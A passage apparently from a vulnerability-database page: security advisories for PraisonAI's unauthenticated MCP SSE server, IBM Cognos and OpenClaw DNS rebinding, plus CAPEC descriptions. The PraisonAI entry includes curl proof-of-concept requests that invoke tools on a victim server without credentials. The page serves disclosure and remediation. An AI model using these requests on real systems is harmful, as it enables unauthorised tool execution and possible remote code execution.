Proof of concept: Static proof (AST analysis of unmodified source): Check 1 - run_sse(host='0.0.0.0'); launch_tools_mcp_server(host='0.0.0.0') -> EXPOSED Check 2 - Starlette(...) kwargs: ['debug','routes'] -> NO middleware= (no auth/origin gate) Check 3 - is_valid_origin / is_potential_dns_rebinding / validate_auth_header / SecurityConfig never called by any transport -> DEAD CODE Live exploitation against a running server: curl -N http://VICTIM:8080/sse # event: endpoint / data: /messages/?session_id= curl -X POST "http://VICTIM:8080/messages/?session_id=" -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05", "capabilities":{},"clientInfo":{"name":"x","version":"1"}}}' curl -X POST "http://VICTIM:8080/messages/?session_id=" -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"","arguments":{...}}}' No Authorization header anywhere. Browser DNS-rebinding variant drives the same calls cross-origin.

Remediation: Wire in the existing mcp_security.py controls and fix defaults: - Default run_sse(host="127.0.0.1"); require explicit opt-in to bind 0.0.0.0. - Attach Starlette middleware calling is_valid_origin / is_potential_dns_rebinding; reject bad origins. - Enforce validate_auth_header when SecurityConfig.require_auth; default require_auth=True (and allow_missing_origin=False) for any non-loopback bind.

Distinct from prior advisories: The accepted MCP advisories are tool-handler bugs — tools/call path traversal -> .pth RCE (GHSA-9mqq-jqxf-grvw) and unauthenticated file read via workflow.show/validate (GHSA-9cr9-25q5-8prj). This is a transport-layer missing-auth/exposure: the SSE server never enforces auth or Origin validation and ignores the security module the codebase ships. Closest in spirit to the default-insecure pattern (GHSA-8444 / 86qc) but a different server and a different root cause (unwired controls, not an unset env var).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-306",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:55:54Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "The MCP SSE server started via ToolsMCPServer.run_sse() / launch_tools_mcp_server(transport=\"sse\")\nbinds to 0.0.0.0 by default and builds its Starlette application with no authentication middleware\nand no Origin-header validation. The module mcp/mcp_security.py provides exactly the needed controls\n(origin validation, DNS-rebinding detection, auth-header enforcement, a SecurityConfig), but none of\nthese functions are ever called by any transport \u2014 they are dead code. Any host that can reach the\nport can list and invoke every registered tool with no credentials, and a victim\u0027s browser can drive\nthe same calls against a localhost instance via DNS rebinding.\n\nAffected code: src/praisonai-agents/praisonaiagents/mcp/mcp_server.py\n- run_sse defaults host to all interfaces (line 245) and builds the app with only `debug` and `routes`\n  - no `middleware=` and no per-route auth/origin gate (lines ~271-289):\n      app = Starlette(debug=self._debug, routes=[\n          Route(sse_path, endpoint=handle_sse),                          # \"/sse\"\n          Mount(messages_path, app=sse_transport.handle_post_message),   # \"/messages/\"\n      ])\n      uvicorn.run(app, host=host, port=port)\n- launch_tools_mcp_server also defaults host=\"0.0.0.0\" (line 301).\n\nsrc/praisonai-agents/praisonaiagents/mcp/mcp_security.py defines but the transports never call:\n- is_valid_origin (line 30), is_potential_dns_rebinding (line 110), validate_auth_header (line 167),\n  SecurityConfig.is_origin_allowed (line 236). These symbols are referenced only inside mcp_security.py\n  and the __init__ re-export. (mcp_websocket.py\u0027s auth references are CLIENT-side, not server validation.)\n\nImpact:\nlaunch_tools_mcp_server(transport=\"sse\") is the documented path for exposing tools over MCP. With the\ndefaults above it is an unauthenticated, network-reachable tool-execution endpoint. Blast radius equals\nthe capabilities of the registered tools; with file/shell/code-exec tools this is RCE. With no Origin\ncheck, a malicious page the victim merely visits can rebind its hostname to 127.0.0.1 and issue the\nJSON-RPC calls cross-origin against a developer\u0027s local server.\n\nProof of concept:\nStatic proof (AST analysis of unmodified source):\n  Check 1 - run_sse(host=\u00270.0.0.0\u0027); launch_tools_mcp_server(host=\u00270.0.0.0\u0027)  -\u003e EXPOSED\n  Check 2 - Starlette(...) kwargs: [\u0027debug\u0027,\u0027routes\u0027]  -\u003e NO middleware= (no auth/origin gate)\n  Check 3 - is_valid_origin / is_potential_dns_rebinding / validate_auth_header / SecurityConfig\n            never called by any transport  -\u003e DEAD CODE\nLive exploitation against a running server:\n  curl -N http://VICTIM:8080/sse\n  #   event: endpoint  / data: /messages/?session_id=\u003csid\u003e\n  curl -X POST \"http://VICTIM:8080/messages/?session_id=\u003csid\u003e\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\n         \"capabilities\":{},\"clientInfo\":{\"name\":\"x\",\"version\":\"1\"}}}\u0027\n  curl -X POST \"http://VICTIM:8080/messages/?session_id=\u003csid\u003e\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"\u003ctool\u003e\",\"arguments\":{...}}}\u0027\nNo Authorization header anywhere. Browser DNS-rebinding variant drives the same calls cross-origin.\n\nRemediation:\nWire in the existing mcp_security.py controls and fix defaults:\n- Default run_sse(host=\"127.0.0.1\"); require explicit opt-in to bind 0.0.0.0.\n- Attach Starlette middleware calling is_valid_origin / is_potential_dns_rebinding; reject bad origins.\n- Enforce validate_auth_header when SecurityConfig.require_auth; default require_auth=True (and\n  allow_missing_origin=False) for any non-loopback bind.\n\nDistinct from prior advisories:\nThe accepted MCP advisories are tool-handler bugs \u2014 tools/call path traversal -\u003e .pth RCE\n(GHSA-9mqq-jqxf-grvw) and unauthenticated file read via workflow.show/validate (GHSA-9cr9-25q5-8prj).\nThis is a transport-layer missing-auth/exposure: the SSE server never enforces auth or Origin validation\nand ignores the security module the codebase ships. Closest in spirit to the default-insecure pattern\n(GHSA-8444 / 86qc) but a different server and a different root cause (unwired controls, not an unset env var).",
  "id": "GHSA-x227-pf99-vffg",
  "modified": "2026-06-18T13:55:54Z",
  "published": "2026-06-18T13:55:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x227-pf99-vffg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in"
}

GHSA-X6JR-WRHC-H2X2

Vulnerability from github – Published: 2024-05-03 21:30 – Updated: 2024-05-03 21:30
VLAI
Details

IBM Cognos Controller 10.4.1, 10.4.2, and 11.0.0 is vulnerable to external service interaction attack, caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability to induce the application to perform server-side DNS lookups or HTTP requests to arbitrary domain names. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with. IBM X-Force ID: 220903.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T19:15:07Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cognos Controller 10.4.1, 10.4.2, and 11.0.0 is vulnerable to external service interaction attack, caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability to induce the application to perform server-side DNS lookups or HTTP requests to arbitrary domain names. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with.  IBM X-Force ID:  220903.",
  "id": "GHSA-x6jr-wrhc-h2x2",
  "modified": "2024-05-03T21:30:29Z",
  "published": "2024-05-03T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22364"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/220903"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7149876"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQ94-R468-QWGJ

Vulnerability from github – Published: 2026-04-17 21:58 – Updated: 2026-05-12 13:35
VLAI
Summary
OpenClaw: Browser SSRF hostname validation could be bypassed by DNS rebinding
Details

Summary

Browser SSRF hostname validation could be bypassed by DNS rebinding.

Affected Packages / Versions

  • Package: openclaw
  • Ecosystem: npm
  • Affected versions: < 2026.4.10
  • Patched versions: >= 2026.4.10

Impact

Browser navigation policy could validate a hostname/IP resolution that differed from the address Chromium ultimately used, allowing DNS rebinding style SSRF pivots.

Technical Details

The fix tightens strict browser hostname navigation so unallowlisted hostname URLs fail closed under restrictive policy.

Fix

The issue was fixed in #64367. The first stable tag containing the fix is v2026.4.10, and openclaw@2026.4.14 includes the fix.

Fix Commit(s)

  • 121c452d666d4749744dc2089287d0227aae2ed3
  • PR: #64367

Release Process Note

Users should upgrade to openclaw 2026.4.10 or newer. The latest npm release, 2026.4.14, already includes the fix.

Credits

Thanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
4.9 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:58:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBrowser SSRF hostname validation could be bypassed by DNS rebinding.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nBrowser navigation policy could validate a hostname/IP resolution that differed from the address Chromium ultimately used, allowing DNS rebinding style SSRF pivots.\n\n## Technical Details\n\nThe fix tightens strict browser hostname navigation so unallowlisted hostname URLs fail closed under restrictive policy.\n\n## Fix\n\nThe issue was fixed in #64367. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `121c452d666d4749744dc2089287d0227aae2ed3`\n- PR: #64367\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
  "id": "GHSA-xq94-r468-qwgj",
  "modified": "2026-05-12T13:35:04Z",
  "published": "2026-04-17T21:58:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xq94-r468-qwgj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/64367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/121c452d666d4749744dc2089287d0227aae2ed3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-dns-rebinding-ssrf-via-hostname-validation-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Browser SSRF hostname validation could be bypassed by DNS rebinding"
}
Mitigation
Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Mitigation MIT-42
Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-275: DNS Rebinding

An adversary serves content whose IP address is resolved by a DNS server that the adversary controls. After initial contact by a web browser (or similar client), the adversary changes the IP address to which its name resolves, to an address within the target organization that is not publicly accessible. This allows the web browser to examine this internal address on behalf of the adversary.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-89: Pharming

A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.

← Back to the CWE list